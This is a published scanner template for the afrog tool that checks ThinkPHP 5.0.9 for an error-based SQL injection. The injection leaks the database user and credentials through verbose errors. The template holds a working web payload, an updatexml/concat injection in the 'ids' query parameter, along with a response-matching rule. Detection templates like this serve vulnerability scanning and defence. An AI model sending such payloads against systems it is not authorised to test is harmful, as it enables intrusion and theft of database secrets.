thinkphp-509-information-disclosure: ThinkPHP 5.0.9 Information Disclosure

2025-08-01 ThinkPHP PoC Public

Description

Verbose SQL error message reveals sensitive information including database credentials.

PoC

id: thinkphp-509-information-disclosure

info:
  name: ThinkPHP 5.0.9 Information Disclosure
  author: dr_set
  severity: high
  verified: false
  description: |-
    Verbose SQL error message reveals sensitive information including database credentials.
  reference:
    - https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/in-sqlinjection
  tags: thinkphp,disclosure
  created: 2023/10/29

rules:
  r0:
    request:
      method: GET
      path: "/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1"
    expression: response.body.bcontains(b'SQLSTATE') && response.body.bcontains(b'XPATH syntax error')
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/disclosure/thinkphp-509-information-disclosure.yaml

References

Related Vulnerabilities